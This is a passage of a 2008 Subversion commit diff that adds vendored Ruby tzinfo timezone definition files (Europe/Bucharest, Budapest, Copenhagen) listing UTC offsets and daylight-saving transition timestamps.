+          tz.transition 2004, 3, :o4, 1080435600
+          tz.transition 2004, 10, :o3, 1099184400
+          tz.transition 2005, 3, :o4, 1111885200
+          tz.transition 2005, 10, :o3, 1130634000
+          tz.transition 2006, 3, :o4, 1143334800
+          tz.transition 2006, 10, :o3, 1162083600
+          tz.transition 2007, 3, :o4, 1174784400
+          tz.transition 2007, 10, :o3, 1193533200
+          tz.transition 2008, 3, :o4, 1206838800
+          tz.transition 2008, 10, :o3, 1224982800
+          tz.transition 2009, 3, :o4, 1238288400
+          tz.transition 2009, 10, :o3, 1256432400
+          tz.transition 2010, 3, :o4, 1269738000
+          tz.transition 2010, 10, :o3, 1288486800
+          tz.transition 2011, 3, :o4, 1301187600
+          tz.transition 2011, 10, :o3, 1319936400
+          tz.transition 2012, 3, :o4, 1332637200
+          tz.transition 2012, 10, :o3, 1351386000
+          tz.transition 2013, 3, :o4, 1364691600
+          tz.transition 2013, 10, :o3, 1382835600
+          tz.transition 2014, 3, :o4, 1396141200
+          tz.transition 2014, 10, :o3, 1414285200
+          tz.transition 2015, 3, :o4, 1427590800
+          tz.transition 2015, 10, :o3, 1445734800
+          tz.transition 2016, 3, :o4, 1459040400
+          tz.transition 2016, 10, :o3, 1477789200
+          tz.transition 2017, 3, :o4, 1490490000
+          tz.transition 2017, 10, :o3, 1509238800
+          tz.transition 2018, 3, :o4, 1521939600
+          tz.transition 2018, 10, :o3, 1540688400
+          tz.transition 2019, 3, :o4, 1553994000
+          tz.transition 2019, 10, :o3, 1572138000
+          tz.transition 2020, 3, :o4, 1585443600
+          tz.transition 2020, 10, :o3, 1603587600
+          tz.transition 2021, 3, :o4, 1616893200
+          tz.transition 2021, 10, :o3, 1635642000
+          tz.transition 2022, 3, :o4, 1648342800
+          tz.transition 2022, 10, :o3, 1667091600
+          tz.transition 2023, 3, :o4, 1679792400
+          tz.transition 2023, 10, :o3, 1698541200
+          tz.transition 2024, 3, :o4, 1711846800
+          tz.transition 2024, 10, :o3, 1729990800
+          tz.transition 2025, 3, :o4, 1743296400
+          tz.transition 2025, 10, :o3, 1761440400
+          tz.transition 2026, 3, :o4, 1774746000
+          tz.transition 2026, 10, :o3, 1792890000
+          tz.transition 2027, 3, :o4, 1806195600
+          tz.transition 2027, 10, :o3, 1824944400
+          tz.transition 2028, 3, :o4, 1837645200
+          tz.transition 2028, 10, :o3, 1856394000
+          tz.transition 2029, 3, :o4, 1869094800
+          tz.transition 2029, 10, :o3, 1887843600
+          tz.transition 2030, 3, :o4, 1901149200
+          tz.transition 2030, 10, :o3, 1919293200
+          tz.transition 2031, 3, :o4, 1932598800
+          tz.transition 2031, 10, :o3, 1950742800
+          tz.transition 2032, 3, :o4, 1964048400
+          tz.transition 2032, 10, :o3, 1982797200
+          tz.transition 2033, 3, :o4, 1995498000
+          tz.transition 2033, 10, :o3, 2014246800
+          tz.transition 2034, 3, :o4, 2026947600
+          tz.transition 2034, 10, :o3, 2045696400
+          tz.transition 2035, 3, :o4, 2058397200
+          tz.transition 2035, 10, :o3, 2077146000
+          tz.transition 2036, 3, :o4, 2090451600
+          tz.transition 2036, 10, :o3, 2108595600
+          tz.transition 2037, 3, :o4, 2121901200
+          tz.transition 2037, 10, :o3, 2140045200
+          tz.transition 2038, 3, :o4, 59172253, 24
+          tz.transition 2038, 10, :o3, 59177461, 24
+          tz.transition 2039, 3, :o4, 59180989, 24
+          tz.transition 2039, 10, :o3, 59186197, 24
+          tz.transition 2040, 3, :o4, 59189725, 24
+          tz.transition 2040, 10, :o3, 59194933, 24
+          tz.transition 2041, 3, :o4, 59198629, 24
+          tz.transition 2041, 10, :o3, 59203669, 24
+          tz.transition 2042, 3, :o4, 59207365, 24
+          tz.transition 2042, 10, :o3, 59212405, 24
+          tz.transition 2043, 3, :o4, 59216101, 24
+          tz.transition 2043, 10, :o3, 59221141, 24
+          tz.transition 2044, 3, :o4, 59224837, 24
+          tz.transition 2044, 10, :o3, 59230045, 24
+          tz.transition 2045, 3, :o4, 59233573, 24
+          tz.transition 2045, 10, :o3, 59238781, 24
+          tz.transition 2046, 3, :o4, 59242309, 24
+          tz.transition 2046, 10, :o3, 59247517, 24
+          tz.transition 2047, 3, :o4, 59251213, 24
+          tz.transition 2047, 10, :o3, 59256253, 24
+          tz.transition 2048, 3, :o4, 59259949, 24
+          tz.transition 2048, 10, :o3, 59264989, 24
+          tz.transition 2049, 3, :o4, 59268685, 24
+          tz.transition 2049, 10, :o3, 59273893, 24
+          tz.transition 2050, 3, :o4, 59277421, 24
+          tz.transition 2050, 10, :o3, 59282629, 24
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Bucharest.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Bucharest.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Bucharest.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,181 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Europe
+      module Bucharest
+        include TimezoneDefinition
+        
+        timezone 'Europe/Bucharest' do |tz|
+          tz.offset :o0, 6264, 0, :LMT
+          tz.offset :o1, 6264, 0, :BMT
+          tz.offset :o2, 7200, 0, :EET
+          tz.offset :o3, 7200, 3600, :EEST
+          
+          tz.transition 1891, 9, :o1, 964802571, 400
+          tz.transition 1931, 7, :o2, 970618571, 400
+          tz.transition 1932, 5, :o3, 29122181, 12
+          tz.transition 1932, 10, :o2, 29123789, 12
+          tz.transition 1933, 4, :o3, 29125973, 12
+          tz.transition 1933, 9, :o2, 29128157, 12
+          tz.transition 1934, 4, :o3, 29130425, 12
+          tz.transition 1934, 10, :o2, 29132609, 12
+          tz.transition 1935, 4, :o3, 29134793, 12
+          tz.transition 1935, 10, :o2, 29136977, 12
+          tz.transition 1936, 4, :o3, 29139161, 12
+          tz.transition 1936, 10, :o2, 29141345, 12
+          tz.transition 1937, 4, :o3, 29143529, 12
+          tz.transition 1937, 10, :o2, 29145713, 12
+          tz.transition 1938, 4, :o3, 29147897, 12
+          tz.transition 1938, 10, :o2, 29150081, 12
+          tz.transition 1939, 4, :o3, 29152265, 12
+          tz.transition 1939, 9, :o2, 29154449, 12
+          tz.transition 1979, 5, :o3, 296604000
+          tz.transition 1979, 9, :o2, 307486800
+          tz.transition 1980, 4, :o3, 323816400
+          tz.transition 1980, 9, :o2, 338940000
+          tz.transition 1981, 3, :o3, 354672000
+          tz.transition 1981, 9, :o2, 370396800
+          tz.transition 1982, 3, :o3, 386121600
+          tz.transition 1982, 9, :o2, 401846400
+          tz.transition 1983, 3, :o3, 417571200
+          tz.transition 1983, 9, :o2, 433296000
+          tz.transition 1984, 3, :o3, 449020800
+          tz.transition 1984, 9, :o2, 465350400
+          tz.transition 1985, 3, :o3, 481075200
+          tz.transition 1985, 9, :o2, 496800000
+          tz.transition 1986, 3, :o3, 512524800
+          tz.transition 1986, 9, :o2, 528249600
+          tz.transition 1987, 3, :o3, 543974400
+          tz.transition 1987, 9, :o2, 559699200
+          tz.transition 1988, 3, :o3, 575424000
+          tz.transition 1988, 9, :o2, 591148800
+          tz.transition 1989, 3, :o3, 606873600
+          tz.transition 1989, 9, :o2, 622598400
+          tz.transition 1990, 3, :o3, 638323200
+          tz.transition 1990, 9, :o2, 654652800
+          tz.transition 1991, 3, :o3, 670370400
+          tz.transition 1991, 9, :o2, 686095200
+          tz.transition 1992, 3, :o3, 701820000
+          tz.transition 1992, 9, :o2, 717544800
+          tz.transition 1993, 3, :o3, 733269600
+          tz.transition 1993, 9, :o2, 748994400
+          tz.transition 1994, 3, :o3, 764719200
+          tz.transition 1994, 9, :o2, 780440400
+          tz.transition 1995, 3, :o3, 796168800
+          tz.transition 1995, 9, :o2, 811890000
+          tz.transition 1996, 3, :o3, 828223200
+          tz.transition 1996, 10, :o2, 846363600
+          tz.transition 1997, 3, :o3, 859683600
+          tz.transition 1997, 10, :o2, 877827600
+          tz.transition 1998, 3, :o3, 891133200
+          tz.transition 1998, 10, :o2, 909277200
+          tz.transition 1999, 3, :o3, 922582800
+          tz.transition 1999, 10, :o2, 941331600
+          tz.transition 2000, 3, :o3, 954032400
+          tz.transition 2000, 10, :o2, 972781200
+          tz.transition 2001, 3, :o3, 985482000
+          tz.transition 2001, 10, :o2, 1004230800
+          tz.transition 2002, 3, :o3, 1017536400
+          tz.transition 2002, 10, :o2, 1035680400
+          tz.transition 2003, 3, :o3, 1048986000
+          tz.transition 2003, 10, :o2, 1067130000
+          tz.transition 2004, 3, :o3, 1080435600
+          tz.transition 2004, 10, :o2, 1099184400
+          tz.transition 2005, 3, :o3, 1111885200
+          tz.transition 2005, 10, :o2, 1130634000
+          tz.transition 2006, 3, :o3, 1143334800
+          tz.transition 2006, 10, :o2, 1162083600
+          tz.transition 2007, 3, :o3, 1174784400
+          tz.transition 2007, 10, :o2, 1193533200
+          tz.transition 2008, 3, :o3, 1206838800
+          tz.transition 2008, 10, :o2, 1224982800
+          tz.transition 2009, 3, :o3, 1238288400
+          tz.transition 2009, 10, :o2, 1256432400
+          tz.transition 2010, 3, :o3, 1269738000
+          tz.transition 2010, 10, :o2, 1288486800
+          tz.transition 2011, 3, :o3, 1301187600
+          tz.transition 2011, 10, :o2, 1319936400
+          tz.transition 2012, 3, :o3, 1332637200
+          tz.transition 2012, 10, :o2, 1351386000
+          tz.transition 2013, 3, :o3, 1364691600
+          tz.transition 2013, 10, :o2, 1382835600
+          tz.transition 2014, 3, :o3, 1396141200
+          tz.transition 2014, 10, :o2, 1414285200
+          tz.transition 2015, 3, :o3, 1427590800
+          tz.transition 2015, 10, :o2, 1445734800
+          tz.transition 2016, 3, :o3, 1459040400
+          tz.transition 2016, 10, :o2, 1477789200
+          tz.transition 2017, 3, :o3, 1490490000
+          tz.transition 2017, 10, :o2, 1509238800
+          tz.transition 2018, 3, :o3, 1521939600
+          tz.transition 2018, 10, :o2, 1540688400
+          tz.transition 2019, 3, :o3, 1553994000
+          tz.transition 2019, 10, :o2, 1572138000
+          tz.transition 2020, 3, :o3, 1585443600
+          tz.transition 2020, 10, :o2, 1603587600
+          tz.transition 2021, 3, :o3, 1616893200
+          tz.transition 2021, 10, :o2, 1635642000
+          tz.transition 2022, 3, :o3, 1648342800
+          tz.transition 2022, 10, :o2, 1667091600
+          tz.transition 2023, 3, :o3, 1679792400
+          tz.transition 2023, 10, :o2, 1698541200
+          tz.transition 2024, 3, :o3, 1711846800
+          tz.transition 2024, 10, :o2, 1729990800
+          tz.transition 2025, 3, :o3, 1743296400
+          tz.transition 2025, 10, :o2, 1761440400
+          tz.transition 2026, 3, :o3, 1774746000
+          tz.transition 2026, 10, :o2, 1792890000
+          tz.transition 2027, 3, :o3, 1806195600
+          tz.transition 2027, 10, :o2, 1824944400
+          tz.transition 2028, 3, :o3, 1837645200
+          tz.transition 2028, 10, :o2, 1856394000
+          tz.transition 2029, 3, :o3, 1869094800
+          tz.transition 2029, 10, :o2, 1887843600
+          tz.transition 2030, 3, :o3, 1901149200
+          tz.transition 2030, 10, :o2, 1919293200
+          tz.transition 2031, 3, :o3, 1932598800
+          tz.transition 2031, 10, :o2, 1950742800
+          tz.transition 2032, 3, :o3, 1964048400
+          tz.transition 2032, 10, :o2, 1982797200
+          tz.transition 2033, 3, :o3, 1995498000
+          tz.transition 2033, 10, :o2, 2014246800
+          tz.transition 2034, 3, :o3, 2026947600
+          tz.transition 2034, 10, :o2, 2045696400
+          tz.transition 2035, 3, :o3, 2058397200
+          tz.transition 2035, 10, :o2, 2077146000
+          tz.transition 2036, 3, :o3, 2090451600
+          tz.transition 2036, 10, :o2, 2108595600
+          tz.transition 2037, 3, :o3, 2121901200
+          tz.transition 2037, 10, :o2, 2140045200
+          tz.transition 2038, 3, :o3, 59172253, 24
+          tz.transition 2038, 10, :o2, 59177461, 24
+          tz.transition 2039, 3, :o3, 59180989, 24
+          tz.transition 2039, 10, :o2, 59186197, 24
+          tz.transition 2040, 3, :o3, 59189725, 24
+          tz.transition 2040, 10, :o2, 59194933, 24
+          tz.transition 2041, 3, :o3, 59198629, 24
+          tz.transition 2041, 10, :o2, 59203669, 24
+          tz.transition 2042, 3, :o3, 59207365, 24
+          tz.transition 2042, 10, :o2, 59212405, 24
+          tz.transition 2043, 3, :o3, 59216101, 24
+          tz.transition 2043, 10, :o2, 59221141, 24
+          tz.transition 2044, 3, :o3, 59224837, 24
+          tz.transition 2044, 10, :o2, 59230045, 24
+          tz.transition 2045, 3, :o3, 59233573, 24
+          tz.transition 2045, 10, :o2, 59238781, 24
+          tz.transition 2046, 3, :o3, 59242309, 24
+          tz.transition 2046, 10, :o2, 59247517, 24
+          tz.transition 2047, 3, :o3, 59251213, 24
+          tz.transition 2047, 10, :o2, 59256253, 24
+          tz.transition 2048, 3, :o3, 59259949, 24
+          tz.transition 2048, 10, :o2, 59264989, 24
+          tz.transition 2049, 3, :o3, 59268685, 24
+          tz.transition 2049, 10, :o2, 59273893, 24
+          tz.transition 2050, 3, :o3, 59277421, 24
+          tz.transition 2050, 10, :o2, 59282629, 24
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Budapest.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Budapest.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Budapest.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,197 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Europe
+      module Budapest
+        include TimezoneDefinition
+        
+        timezone 'Europe/Budapest' do |tz|
+          tz.offset :o0, 4580, 0, :LMT
+          tz.offset :o1, 3600, 0, :CET
+          tz.offset :o2, 3600, 3600, :CEST
+          
+          tz.transition 1890, 9, :o1, 10418291051, 4320
+          tz.transition 1916, 4, :o2, 29051813, 12
+          tz.transition 1916, 9, :o1, 58107299, 24
+          tz.transition 1917, 4, :o2, 58112029, 24
+          tz.transition 1917, 9, :o1, 58115725, 24
+          tz.transition 1918, 4, :o2, 29060215, 12
+          tz.transition 1918, 9, :o1, 58124773, 24
+          tz.transition 1919, 4, :o2, 29064763, 12
+          tz.transition 1919, 9, :o1, 58133197, 24
+          tz.transition 1920, 4, :o2, 29069035, 12
+          tz.transition 1920, 9, :o1, 58142341, 24
+          tz.transition 1941, 4, :o2, 58322173, 24
+          tz.transition 1942, 11, :o1, 58335973, 24
+          tz.transition 1943, 3, :o2, 58339501, 24
+          tz.transition 1943, 10, :o1, 58344037, 24
+          tz.transition 1944, 4, :o2, 58348405, 24
+          tz.transition 1944, 10, :o1, 58352773, 24
+          tz.transition 1945, 5, :o2, 29178929, 12
+          tz.transition 1945, 11, :o1, 29181149, 12
+          tz.transition 1946, 3, :o2, 58365853, 24
+          tz.transition 1946, 10, :o1, 58370389, 24
+          tz.transition 1947, 4, :o2, 58374757, 24
+          tz.transition 1947, 10, :o1, 58379125, 24
+          tz.transition 1948, 4, :o2, 58383493, 24
+          tz.transition 1948, 10, :o1, 58387861, 24
+          tz.transition 1949, 4, :o2, 58392397, 24
+          tz.transition 1949, 10, :o1, 58396597, 24
+          tz.transition 1950, 4, :o2, 58401325, 24
+          tz.transition 1950, 10, :o1, 58405861, 24
+          tz.transition 1954, 5, :o2, 58437251, 24
+          tz.transition 1954, 10, :o1, 29220221, 12
+          tz.transition 1955, 5, :o2, 58446011, 24
+          tz.transition 1955, 10, :o1, 29224601, 12
+          tz.transition 1956, 6, :o2, 58455059, 24
+          tz.transition 1956, 9, :o1, 29228957, 12
+          tz.transition 1957, 6, :o2, 4871983, 2
+          tz.transition 1957, 9, :o1, 58466653, 24
+          tz.transition 1980, 4, :o2, 323827200
+          tz.transition 1980, 9, :o1, 338950800
+          tz.transition 1981, 3, :o2, 354675600
+          tz.transition 1981, 9, :o1, 370400400
+          tz.transition 1982, 3, :o2, 386125200
+          tz.transition 1982, 9, :o1, 401850000
+          tz.transition 1983, 3, :o2, 417574800
+          tz.transition 1983, 9, :o1, 433299600
+          tz.transition 1984, 3, :o2, 449024400
+          tz.transition 1984, 9, :o1, 465354000
+          tz.transition 1985, 3, :o2, 481078800
+          tz.transition 1985, 9, :o1, 496803600
+          tz.transition 1986, 3, :o2, 512528400
+          tz.transition 1986, 9, :o1, 528253200
+          tz.transition 1987, 3, :o2, 543978000
+          tz.transition 1987, 9, :o1, 559702800
+          tz.transition 1988, 3, :o2, 575427600
+          tz.transition 1988, 9, :o1, 591152400
+          tz.transition 1989, 3, :o2, 606877200
+          tz.transition 1989, 9, :o1, 622602000
+          tz.transition 1990, 3, :o2, 638326800
+          tz.transition 1990, 9, :o1, 654656400
+          tz.transition 1991, 3, :o2, 670381200
+          tz.transition 1991, 9, :o1, 686106000
+          tz.transition 1992, 3, :o2, 701830800
+          tz.transition 1992, 9, :o1, 717555600
+          tz.transition 1993, 3, :o2, 733280400
+          tz.transition 1993, 9, :o1, 749005200
+          tz.transition 1994, 3, :o2, 764730000
+          tz.transition 1994, 9, :o1, 780454800
+          tz.transition 1995, 3, :o2, 796179600
+          tz.transition 1995, 9, :o1, 811904400
+          tz.transition 1996, 3, :o2, 828234000
+          tz.transition 1996, 10, :o1, 846378000
+          tz.transition 1997, 3, :o2, 859683600
+          tz.transition 1997, 10, :o1, 877827600
+          tz.transition 1998, 3, :o2, 891133200
+          tz.transition 1998, 10, :o1, 909277200
+          tz.transition 1999, 3, :o2, 922582800
+          tz.transition 1999, 10, :o1, 941331600
+          tz.transition 2000, 3, :o2, 954032400
+          tz.transition 2000, 10, :o1, 972781200
+          tz.transition 2001, 3, :o2, 985482000
+          tz.transition 2001, 10, :o1, 1004230800
+          tz.transition 2002, 3, :o2, 1017536400
+          tz.transition 2002, 10, :o1, 1035680400
+          tz.transition 2003, 3, :o2, 1048986000
+          tz.transition 2003, 10, :o1, 1067130000
+          tz.transition 2004, 3, :o2, 1080435600
+          tz.transition 2004, 10, :o1, 1099184400
+          tz.transition 2005, 3, :o2, 1111885200
+          tz.transition 2005, 10, :o1, 1130634000
+          tz.transition 2006, 3, :o2, 1143334800
+          tz.transition 2006, 10, :o1, 1162083600
+          tz.transition 2007, 3, :o2, 1174784400
+          tz.transition 2007, 10, :o1, 1193533200
+          tz.transition 2008, 3, :o2, 1206838800
+          tz.transition 2008, 10, :o1, 1224982800
+          tz.transition 2009, 3, :o2, 1238288400
+          tz.transition 2009, 10, :o1, 1256432400
+          tz.transition 2010, 3, :o2, 1269738000
+          tz.transition 2010, 10, :o1, 1288486800
+          tz.transition 2011, 3, :o2, 1301187600
+          tz.transition 2011, 10, :o1, 1319936400
+          tz.transition 2012, 3, :o2, 1332637200
+          tz.transition 2012, 10, :o1, 1351386000
+          tz.transition 2013, 3, :o2, 1364691600
+          tz.transition 2013, 10, :o1, 1382835600
+          tz.transition 2014, 3, :o2, 1396141200
+          tz.transition 2014, 10, :o1, 1414285200
+          tz.transition 2015, 3, :o2, 1427590800
+          tz.transition 2015, 10, :o1, 1445734800
+          tz.transition 2016, 3, :o2, 1459040400
+          tz.transition 2016, 10, :o1, 1477789200
+          tz.transition 2017, 3, :o2, 1490490000
+          tz.transition 2017, 10, :o1, 1509238800
+          tz.transition 2018, 3, :o2, 1521939600
+          tz.transition 2018, 10, :o1, 1540688400
+          tz.transition 2019, 3, :o2, 1553994000
+          tz.transition 2019, 10, :o1, 1572138000
+          tz.transition 2020, 3, :o2, 1585443600
+          tz.transition 2020, 10, :o1, 1603587600
+          tz.transition 2021, 3, :o2, 1616893200
+          tz.transition 2021, 10, :o1, 1635642000
+          tz.transition 2022, 3, :o2, 1648342800
+          tz.transition 2022, 10, :o1, 1667091600
+          tz.transition 2023, 3, :o2, 1679792400
+          tz.transition 2023, 10, :o1, 1698541200
+          tz.transition 2024, 3, :o2, 1711846800
+          tz.transition 2024, 10, :o1, 1729990800
+          tz.transition 2025, 3, :o2, 1743296400
+          tz.transition 2025, 10, :o1, 1761440400
+          tz.transition 2026, 3, :o2, 1774746000
+          tz.transition 2026, 10, :o1, 1792890000
+          tz.transition 2027, 3, :o2, 1806195600
+          tz.transition 2027, 10, :o1, 1824944400
+          tz.transition 2028, 3, :o2, 1837645200
+          tz.transition 2028, 10, :o1, 1856394000
+          tz.transition 2029, 3, :o2, 1869094800
+          tz.transition 2029, 10, :o1, 1887843600
+          tz.transition 2030, 3, :o2, 1901149200
+          tz.transition 2030, 10, :o1, 1919293200
+          tz.transition 2031, 3, :o2, 1932598800
+          tz.transition 2031, 10, :o1, 1950742800
+          tz.transition 2032, 3, :o2, 1964048400
+          tz.transition 2032, 10, :o1, 1982797200
+          tz.transition 2033, 3, :o2, 1995498000
+          tz.transition 2033, 10, :o1, 2014246800
+          tz.transition 2034, 3, :o2, 2026947600
+          tz.transition 2034, 10, :o1, 2045696400
+          tz.transition 2035, 3, :o2, 2058397200
+          tz.transition 2035, 10, :o1, 2077146000
+          tz.transition 2036, 3, :o2, 2090451600
+          tz.transition 2036, 10, :o1, 2108595600
+          tz.transition 2037, 3, :o2, 2121901200
+          tz.transition 2037, 10, :o1, 2140045200
+          tz.transition 2038, 3, :o2, 59172253, 24
+          tz.transition 2038, 10, :o1, 59177461, 24
+          tz.transition 2039, 3, :o2, 59180989, 24
+          tz.transition 2039, 10, :o1, 59186197, 24
+          tz.transition 2040, 3, :o2, 59189725, 24
+          tz.transition 2040, 10, :o1, 59194933, 24
+          tz.transition 2041, 3, :o2, 59198629, 24
+          tz.transition 2041, 10, :o1, 59203669, 24
+          tz.transition 2042, 3, :o2, 59207365, 24
+          tz.transition 2042, 10, :o1, 59212405, 24
+          tz.transition 2043, 3, :o2, 59216101, 24
+          tz.transition 2043, 10, :o1, 59221141, 24
+          tz.transition 2044, 3, :o2, 59224837, 24
+          tz.transition 2044, 10, :o1, 59230045, 24
+          tz.transition 2045, 3, :o2, 59233573, 24
+          tz.transition 2045, 10, :o1, 59238781, 24
+          tz.transition 2046, 3, :o2, 59242309, 24
+          tz.transition 2046, 10, :o1, 59247517, 24
+          tz.transition 2047, 3, :o2, 59251213, 24
+          tz.transition 2047, 10, :o1, 59256253, 24
+          tz.transition 2048, 3, :o2, 59259949, 24
+          tz.transition 2048, 10, :o1, 59264989, 24
+          tz.transition 2049, 3, :o2, 59268685, 24
+          tz.transition 2049, 10, :o1, 59273893, 24
+          tz.transition 2050, 3, :o2, 59277421, 24
+          tz.transition 2050, 10, :o1, 59282629, 24
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Copenhagen.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Copenhagen.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Copenhagen.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,179 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Europe
+      module Copenhagen
+        include TimezoneDefinition
+        
+        timezone 'Europe/Copenhagen' do |tz|
+          tz.offset :o0, 3020, 0, :LMT
+          tz.offset :o1, 3020, 0, :CMT
+          tz.offset :o2, 3600, 0, :CET
+          tz.offset :o3, 3600, 3600, :CEST
+          
+          tz.transition 1889, 12, :o1, 10417111769, 4320
+          tz.transition 1893, 12, :o2, 10423423289, 4320
+          tz.transition 1916, 5, :o3, 29051981, 12
+          tz.transition 1916, 9, :o2, 19369099, 8
+          tz.transition 1940, 5, :o3, 58314347, 24
+          tz.transition 1942, 11, :o2, 58335973, 24
+          tz.transition 1943, 3, :o3, 58339501, 24
+          tz.transition 1943, 10, :o2, 58344037, 24
+          tz.transition 1944, 4, :o3, 58348405, 24
+          tz.transition 1944, 10, :o2, 58352773, 24
+          tz.transition 1945, 4, :o3, 58357141, 24
+          tz.transition 1945, 8, :o2, 58360381, 24
+          tz.transition 1946, 5, :o3, 58366597, 24
+          tz.transition 1946, 9, :o2, 58369549, 24
+          tz.transition 1947, 5, :o3, 58375429, 24
+          tz.transition 1947, 8, :o2, 58377781, 24
+          tz.transition 1948, 5, :o3, 58384333, 24
+          tz.transition 1948, 8, :o2, 58386517, 24
+          tz.transition 1980, 4, :o3, 323830800
+          tz.transition 1980, 9, :o2, 338950800
+          tz.transition 1981, 3, :o3, 354675600
+          tz.transition 1981, 9, :o2, 370400400
+          tz.transition 1982, 3, :o3, 386125200
+          tz.transition 1982, 9, :o2, 401850000
+          tz.transition 1983, 3, :o3, 417574800
+          tz.transition 1983, 9, :o2, 433299600
+          tz.transition 1984, 3, :o3, 449024400
+          tz.transition 1984, 9, :o2, 465354000
+          tz.transition 1985, 3, :o3, 481078800
+          tz.transition 1985, 9, :o2, 496803600
+          tz.transition 1986, 3, :o3, 512528400
+          tz.transition 1986, 9, :o2, 528253200
+          tz.transition 1987, 3, :o3, 543978000
+          tz.transition 1987, 9, :o2, 559702800
+          tz.transition 1988, 3, :o3, 575427600
+          tz.transition 1988, 9, :o2, 591152400
+          tz.transition 1989, 3, :o3, 606877200
+          tz.transition 1989, 9, :o2, 622602000
+          tz.transition 1990, 3, :o3, 638326800
+          tz.transition 1990, 9, :o2, 654656400
+          tz.transition 1991, 3, :o3, 670381200
+          tz.transition 1991, 9, :o2, 686106000
+          tz.transition 1992, 3, :o3, 701830800
+          tz.transition 1992, 9, :o2, 717555600
+          tz.transition 1993, 3, :o3, 733280400
+          tz.transition 1993, 9, :o2, 749005200
+          tz.transition 1994, 3, :o3, 764730000
+          tz.transition 1994, 9, :o2, 780454800
+          tz.transition 1995, 3, :o3, 796179600
+          tz.transition 1995, 9, :o2, 811904400
+          tz.transition 1996, 3, :o3, 828234000
+          tz.transition 1996, 10, :o2, 846378000
+          tz.transition 1997, 3, :o3, 859683600
+          tz.transition 1997, 10, :o2, 877827600
+          tz.transition 1998, 3, :o3, 891133200
+          tz.transition 1998, 10, :o2, 909277200
+          tz.transition 1999, 3, :o3, 922582800
+          tz.transition 1999, 10, :o2, 941331600
+          tz.transition 2000, 3, :o3, 954032400
+          tz.transition 2000, 10, :o2, 972781200
+          tz.transition 2001, 3, :o3, 985482000
+          tz.transition 2001, 10, :o2, 1004230800
+          tz.transition 2002, 3, :o3, 1017536400
+          tz.transition 2002, 10, :o2, 1035680400
+          tz.transition 2003, 3, :o3, 1048986000
+          tz.transition 2003, 10, :o2, 1067130000
+          tz.transition 2004, 3, :o3, 1080435600
+          tz.transition 2004, 10, :o2, 1099184400
+          tz.transition 2005, 3, :o3, 1111885200
+          tz.transition 2005, 10, :o2, 1130634000
+          tz.transition 2006, 3, :o3, 1143334800
+          tz.transition 2006, 10, :o2, 1162083600
+          tz.transition 2007, 3, :o3, 1174784400
+          tz.transition 2007, 10, :o2, 1193533200
+          tz.transition 2008, 3, :o3, 1206838800
+          tz.transition 2008, 10, :o2, 1224982800
+          tz.transition 2009, 3, :o3, 1238288400
+          tz.transition 2009, 10, :o2, 1256432400
+          tz.transition 2010, 3, :o3, 1269738000
+          tz.transition 2010, 10, :o2, 1288486800
+          tz.transition 2011, 3, :o3, 1301187600
+          tz.transition 2011, 10, :o2, 1319936400
+          tz.transition 2012, 3, :o3, 1332637200
+          tz.transition 2012, 10, :o2, 1351386000
+          tz.transition 2013, 3, :o3, 1364691600
+          tz.transition 2013, 10, :o2, 1382835600
+          tz.transition 2014, 3, :o3, 1396141200
+          tz.transition 2014, 10, :o2, 1414285200
+          tz.transition 2015, 3, :o3, 1427590800
+          tz.transition 2015, 10, :o2, 1445734800
+          tz.transition 2016, 3, :o3, 1459040400
+          tz.transition 2016, 10, :o2, 1477789200
+          tz.transition 2017, 3, :o3, 1490490000
+          tz.transition 2017, 10, :o2, 1509238800
+          tz.transition 2018, 3, :o3, 1521939600
+          tz.transition 2018, 10, :o2, 1540688400
+          tz.transition 2019, 3, :o3, 1553994000
+          tz.transition 2019, 10, :o2, 1572138000
+          tz.transition 2020, 3, :o3, 1585443600
+          tz.transition 2020, 10, :o2, 1603587600
+          tz.transition 2021, 3, :o3, 1616893200
+          tz.transition 2021, 10, :o2, 1635642000
+          tz.transition 2022, 3, :o3, 1648342800
+          tz.transition 2022, 10, :o2, 1667091600
+          tz.transition 2023, 3, :o3, 1679792400
+          tz.transition 2023, 10, :o2, 1698541200
+          tz.transition 2024, 3, :o3, 1711846800
+          tz.transition 2024, 10, :o2, 1729990800
+          tz.transition 2025, 3, :o3, 1743296400
+          tz.transition 2025, 10, :o2, 1761440400
+          tz.transition 2026, 3, :o3, 1774746000
+          tz.transition 2026, 10, :o2, 1792890000
+          tz.transition 2027, 3, :o3, 1806195600
+          tz.transition 2027, 10, :o2, 1824944400
+          tz.transition 2028, 3, :o3, 1837645200
+          tz.transition 2028, 10, :o2, 1856394000
+          tz.transition 2029, 3, :o3, 1869094800
